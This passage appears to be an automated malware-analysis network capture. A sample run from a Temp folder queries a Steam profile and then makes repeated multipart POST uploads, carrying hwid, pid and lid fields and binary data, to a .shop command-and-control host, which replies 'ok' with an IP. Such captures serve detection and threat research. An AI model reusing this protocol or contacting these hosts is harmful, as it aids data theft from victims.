eb 75 54 25 40 0b 44 e8 Data Ascii: <Fgo:[4kXP;#vq;_dCam$\|25_l#H%{.73^s].y(R=Dm%])\sr}cv*EfBE%f\QOkNu"6@8xu8T~a/q:}:3uAU#tE+b^!oRP`uT%@D
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: a4 4e 8c e4 f9 89 52 cd 89 5f 3a 22 48 23 c7 7b d5 78 67 49 84 19 f1 52 6f 16 84 ea a0 05 c4 3f 2e a3 2b 37 bc b2 81 c6 0c 94 d8 8e 21 8f 94 f0 6b 28 f0 3b 33 f4 f3 8d b6 fb 8c f8 db 55 79 a4 a4 6e 2f 8b 0f 99 f7 c2 24 57 d0 0b 29 31 e0 99 66 88 f6 0d 29 12 f0 7b e3 4f 0f 33 7d 6b 28 82 e9 b4 ef ef c9 f5 40 e7 26 52 b3 ee 6e 98 cc 1e 56 97 b1 e6 a9 f8 5a 8d 85 a7 dd ee 41 de 7e 6a 02 75 b2 af 8c 45 c8 50 b8 51 fc 7f 59 fd ff 0c 13 ec 2d 90 c9 37 30 26 10 50 13 c2 cd 54 4e 4b 99 54 af 77 d5 f3 e3 48 b1 78 0f bf ac 24 ff 5f 76 9a f6 75 04 50 cf a8 ea 8f da 56 41 9c c2 d8 36 b0 da 4d c2 4f 21 a0 1c 8b e2 5d 2d 42 23 41 c0 d2 ec 51 aa b4 df 82 c8 a3 5f a6 df bf c7 e6 1d 29 d4 a5 aa 22 bc 77 34 24 37 af ed 95 4e ba 23 e6 f1 b6 87 4a 62 df de 0e 5b 16 fc 60 cd Data Ascii: NR_:"H#{xgIRo?.+7!k(;3Uyn/$W)1f){O3}k(@&RnVZA~juEPQY-70&PTNKTwHx$_vuPVA6MO!]-B#AQ_)"w4$7N#Jb[`
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: c5 d1 ad e3 51 db 95 c5 4e 56 25 f1 58 a8 1e 34 2c 12 7d de c1 47 03 24 3d 46 e6 08 21 c7 69 b1 85 aa 77 20 4a f7 0d 01 d1 9e a7 95 64 87 db 5b 61 1d 61 15 30 f1 5f f4 06 f8 af 33 23 2c e4 c1 2a ef 98 24 6e b0 d5 a0 9a 9d c4 6c bd eb 7a 47 ce 3e 06 7d ad 27 1a 2f aa e6 07 3f 58 61 b6 1d 7f 2f 40 7a 38 2a 29 f9 47 8e 6c 9c e3 fb 6a ff 35 73 50 70 03 91 f8 81 e9 4a db 1f a1 a0 c3 20 96 85 8e aa fe b7 c5 86 86 89 92 f6 3e 1d 44 59 b4 df 25 64 24 b7 a8 81 81 7e 7b 95 a6 67 11 d6 bc d4 12 ac be b4 1a 92 b2 77 ea 70 8c 7a 98 e3 c1 02 3f bb d1 bb e7 dc 80 6d 77 d4 49 72 90 5d b0 ed b0 e3 4c b0 e8 8c 35 27 de 2f 02 0a 07 93 46 c9 2c 5d 3e 23 d2 7d c7 56 8f 31 c7 e8 9a 4d 70 a7 98 b2 31 de 54 92 91 61 6c 2a 59 78 09 04 31 2b 2a cc 37 b5 0c de 88 27 c2 78 fb c9 c1 Data Ascii: QNV%X4,}G$=F!iw Jd[aa0_3#,$nlzG>}'/?Xa/@z8)Glj5sPpJ >DY%d$~{gwpz?mwIr]L5'/F,]>#}V1Mp1TalYx1+7'x
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: fb 30 95 d9 97 53 81 87 b0 de c9 a9 4a 83 a9 e0 fd c1 bb f3 38 a5 31 3b 3e 39 5d 3c b9 c5 c4 f8 31 ac 18 4d ac 68 cc 04 a1 28 c2 36 67 ac f3 0e 3c c7 13 0d 57 fa b6 97 44 e7 4b 78 ce a5 00 ac ec c4 69 26 33 58 f8 76 4c 16 d2 47 5b 70 b1 20 e4 8a 62 83 37 e7 ff d1 84 93 5e bf cb a4 fe 7d bd cc 06 bc 45 5d 08 9d 65 5e 87 03 0b 0a c7 03 df 33 57 85 5d cc 44 5d c3 97 62 d0 37 ec 46 26 82 c8 2d 3f 77 02 1b be 49 c3 2e 1b 74 62 2f 14 94 02 f7 f4 23 a1 c7 2c 74 e2 ba c0 0a ff 28 41 24 15 eb 4d 50 e7 05 31 70 cb 06 78 9f 1e bd 81 35 37 d6 e7 02 2b 3c e9 c7 90 01 02 a7 bc 9a ef 2d a5 76 b7 5e 2b e2 1d da f1 6b 48 d5 a6 ff 26 38 6d 84 fc 37 d8 02 17 1a b0 67 0f b2 0d b8 da 68 05 90 99 40 54 14 2f 80 62 b8 cb de f4 eb 6d 7f 78 06 d0 ad 1e 0d fd 37 e8 c2 df fb 3c 77 Data Ascii: 0SJ81;>9]<1Mh(6g<WDKxi&3XvLG[p b7^}E]e^3W]D]b7F&-?wI.tb/#,t(A$MP1px57+<-v^+kH&8m7gh@T/bmx7<w
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: 68 0e b7 ee 98 0e f3 4c ff 4d db da eb 94 79 c0 09 7f 53 1c 95 96 18 c5 52 71 63 68 f7 60 58 8a 92 b5 bb b2 a7 05 24 d2 0d da 50 61 80 d1 a8 22 f5 33 7d 8e ec 4f 27 65 e2 28 6d af 2f e9 b1 51 22 40 55 fd b7 d7 75 3a ca 15 3a e9 58 ea 0c 36 ce 3a 2d e1 9a 5c 20 21 b0 20 aa e0 19 86 92 ca 5a 19 36 34 b3 91 14 28 10 d8 dc 30 a1 00 c2 c3 df d3 44 fd cc 51 be 5b d0 c6 42 76 c1 fa 37 b0 a1 86 3e b7 ec 40 9f ca db a8 20 3f 05 bb 15 9d 3b 94 00 f9 c3 a5 47 1a 04 fa f0 51 0e eb 21 4c 1b 40 f5 5f dd 9f f5 53 dc 6c 3d 94 ec c4 3c 14 78 65 52 ae 2b 46 7b 30 32 8e e5 1a b1 be f9 1e af 06 e3 fb c0 c1 fb 7a 74 39 fb df 27 b2 da bf fa 31 06 fc ca ba 9a 1f be 9d 9f b5 28 65 99 5b 0d 19 10 be 57 7e 31 42 4e 9f 65 92 9c 00 81 0d 87 0c 13 4f b3 bc 67 21 62 60 44 7b f8 e0 2e Data Ascii: hLMySRqch`X$Pa"3}O'e(m/Q"@Uu::X6:-\ ! Z64(0DQ[Bv7>@ ?;GQ!L@_Sl=<xeR+F{02zt9'1(e[W~1BNeOg!b`D{.
2024-05-24 11:43:08 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h79tnk3mvjn43g0h1omq9o1kmc; expires=Tue, 17-Sep-2024 05:29:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yw9MCkC7jsaBOWcYnZnLgIeg8SFugCAi4WGdzL%2FK5ggekn3BQXAAndD7Tl%2FiuZzT73eBwh3XSRDG9Zg8prAJMQ3KjfWVuKUurc6KmQ498SNUda5rC%2F1LIqHWAYyy25e7h6s3%2Fvtn4BOC4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06af4bdf4368-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	63706	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:09 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:43:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:09 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:43:10 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8sicbo6cimvbsousk92s5k90vu; expires=Tue, 17-Sep-2024 05:29:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2VG35VxfS4MkqDA1VdMnX9Di%2BMK0Z6tGpqcdju0cN3hthDlJLNt8Ha29uwZIMQ6WRuZVcrRu3b8NxXhCz%2F6tz%2Fk8ysprVd82i54mZsljAZhN7y%2F%2F6cK%2FQYqzkf8JvXCN3pXIJ5AQUeKCNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06c5ee8e8c3f-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	63708	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:11 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:43:11 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:11 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qug24rhhocdgjieablau71sak7; expires=Tue, 17-Sep-2024 05:29:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9XM%2Fx24E3xkSgisfeA1v3%2Bi7JiST6ecE1sdG41q1A6gmZExpBHJj5C%2FkhQoep7QZ5%2FybheRnTe1ScC8WiBhfIMaSdjZvaTz5OCKTxni3N7lBvIx9jFPhETTLnQ4UQbq3kQaA%2BY5665ilsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06cf3f64426b-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	63707	23.197.127.21	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:12 UTC	119	OUT	GET /profiles/76561199689717899 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:12 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 24 May 2024 11:43:12 GMT Content-Length: 35682 Connection: close Set-Cookie: sessionid=ff7c8cc0c59ebfcf33a65852; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C493458b59285f9aa948bf050e0c9a39b; Path=/; Secure; HttpOnly; SameSite=None
2024-05-24 11:43:12 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-24 11:43:12 UTC	10074	IN	Data Raw: 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 Data Ascii: lass="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="sub
2024-05-24 11:43:12 UTC	11106	IN	Data Raw: 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c Data Ascii: ","FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/",

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	63712	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:12 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:43:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:12 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:43:13 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=04edbttb4tlpmto55mv3psearp; expires=Tue, 17-Sep-2024 05:29:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MZ2r5LhDFGQryl6WqX%2Fgk8teW95Q8oIO3CATuw%2FUM0MT84FOmOz%2FgTMXybBza2%2FDC1nRGVHEtuYDoJu5knXw5BEBDdq8HOFszbv7V50ypg2xPKdnVYB%2FQTSLW1kwyvb49D6ZkWEHYJn6lg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06da4b26426a-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	63714	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:14 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:43:14 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:14 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5hu245d1tcku88idj6ctkhpkuu; expires=Tue, 17-Sep-2024 05:29:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wOvxHJADHTOkSIikVU7q0JVCh%2B7BenILQn4xmxyhtWjgEMfclt3XAYmgrRoq8TkajHyzp5Lb9FvyhD%2FKmpvJklP6YiDcqxHG0%2Fgu80dkecQGc0a%2BKldygRUkVLRB5N5nWfEjEtCbIw1cHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06e2bf38199d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
